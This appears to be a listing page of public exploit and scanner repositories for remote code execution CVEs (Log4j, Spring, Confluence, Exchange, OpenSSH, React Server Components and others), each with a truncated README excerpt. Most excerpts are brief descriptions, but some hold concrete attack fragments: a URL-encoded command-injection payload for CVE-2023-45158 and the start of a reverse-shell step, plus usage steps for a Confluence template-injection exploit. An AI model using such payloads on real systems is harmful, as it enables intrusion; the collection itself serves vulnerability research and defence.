Log4j-RCE-Scanner

Feature • Requirements • Installation • Usage • Contact RCE scanner for Log4j Using this tool, you can scan for remote command execution vulnerability CVE-2021-44228 on Apache Log4j at multiple addresses. Affected versions If you want to scan with a domain name, you must additionally install...

CVE-2023-45158

CVE-2023-45158 Steps 1. Run the webserver cd web2py python3 web2py.py 2. Inject your command using the URL http://:8000/hack?msg=%27%3B%3B%27. Replace and with your values. Examples 1. Create a file on the server http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Reverse shell On the attacker's...

SpringShell

Spring Core RCE - CVE-2022-22965 After Spring Cloud, on March 29, another heavyweight vulnerability of Spring broke out on the Internet: Spring Core RCE On March 31 Spring released new versions which fixes the vulnerability. See section Patching. On March 31 a CVE-number was finally assigned to t...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、put the cmd.vm on your website must use ftp or https ,http doesn't work 2、modify RCEexp.py ，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2019-1367

0x00 Background Internet Explorer is a web browser developed by Microsoft. It has a massive user base. On September 23, Microsoft released an emergency security update to fix a remote code execution vulnerability affecting Internet Explorer. Discovered by Google's Threat Analysis Group, the...

CVE-2022-1329-WordPress-Elementor-3.6.0-3.6.1-3.6.2-Remote-Code-Execution-Exploit

WordPress Plugin - Elementor 3.6.0 3.6.1 3.6.2 Remote Code Execution Google Dork: none Date: April 16 2022 Exploit Author: AkuCyberSec https://github.com/AkuCyberSec Vendor Homepage: https://elementor.com/ Software Link: https://wordpress.org/plugins/elementor/advanced/ scroll down to select the...

CVE-2024-38856

CVE-2024-38856 Apache Ofbiz RCE Scanner Description This script is designed to scan for the CVE-2024-38856 vulnerability in Apache Ofbiz applications, which may allow for remote code execution. It sends HTTP POST requests to specific paths within the Ofbiz application with malicious payloads to...

cve-2024-6387-poc

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...

-CVE-2026-26215-manga-image-translator-RCE

CVE-2026-26215 - manga-image-translator Pickle Deserialization RCE 👤 Author Mohammed Idrees Banyamer Instagram: @banyamersecurity GitHub: @mbanyamer Proof-of-Concept exploit for CVE-2026-26215 - Unauthenticated Remote Code Execution via unsafe Pickle deserialization in manga-image-translator ≤...

CVE-2024-38472

Creating a Remote Code Execution RCE Metasploit module for the SSRF vulnerability CVE-2024-38472 in Apache HTTP Server on Windows is challenging because SSRF itself doesn't directly result in RCE. However, SSRF can often be a step toward achieving RCE, especially if you can use it to interact wit...

CVE-2025-59287

CVE-2025-59287 WSUS Vulnerability Reproduction CVE-2025-59287 — Injecting WolfShell Wolverine Forward Memory Shell Overview CVE-2025-59287 exploits a logic flaw in WSUS-related components to inject a WolfShell memory shell into the target server. When an administrator opens the WSUS console...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server Fixed Cryptographic Key Remote Code Execution RCE Instead of having randomly-generated keys on a per-installation basis, all installations of Microsoft Exchange Server have the same validationKey and decryptionKey values in web.config. Thus, an authenticate...

cve-2025-55182-test-lab-windows

CVE-2025-55182 React2Shell Test ⚠️ Warning : Contains a working remote code execution RCE vulnerability. 📋 Table of Contents Overview Vulnerability Information Quick Start Actual Attack Demonstration Test Environment WAF Defense Rules File Structure References Legal Notice Overview Container test...

React2Shell_cve-2025-55182

React Server Components RCE - CVE-2025-55182 Hello! I hope you're having a great day! 😊✨ What's This About? React Server Components versions 19.0.0 , 19.1.0 , 19.1.1 , and 19.2.0 have a serious security problem. The packages react-server-dom-parcel, react-server-dom-turbopack, and...

react-cve-2025-55182

fix-react2shell A CLI tool to detect and fix the critical CVE-2025-55182 React2Shell vulnerability in React Server Components and Next.js applications. The Vulnerability CVE-2025-55182 is a critical CVSS 10.0 unauthenticated remote code execution vulnerability affecting: React Server DOM packages...

CVE-2026-42778-POC

CVE-2026-42778 Overview Incomplete fix in Apache MINA AbstractIoBuffer.getObject method. The classname allowlist validation that restricts which classes can be deserialized is applied too late, after static initializers in classes being read may have already executed. This occurs because the...

xwiki-cve-2025-24893-poc

XWiki RCE Exploit PoC CVE-2025-24893 Overview This repository contains a Proof of Concept PoC exploit for the XWiki Remote Code Execution RCE vulnerability identified as CVE-2025-24893. The vulnerability allows an attacker to execute arbitrary code on a target XWiki instance by leveraging a craft...

CVE-2024-32002-hook

CVE-2024-32002-hook CVE-2024-32002-hook...

CVE-2023-21716

CVE-2023-21716 Microsoft Word RTF Font Table Heap Corruption https://twitter.com/jduck A vulnerability within Microsoft Office's wwlib allows attackers to achieve remote code execution with the privileges of the victim that opens a malicious RTF document. The attacker could deliver this file as a...

gitlab-cve-2020-10977

GitLab CVE2020-10977 Introduction This script provides remote code execution against GitLab Community Edition CE and Enterprise Edition EE. The CVE is an arbitrary file read which allows you to extract the Rails secretkeybase by downloading the GitLab secrets.yaml file. Which in turn, enables you...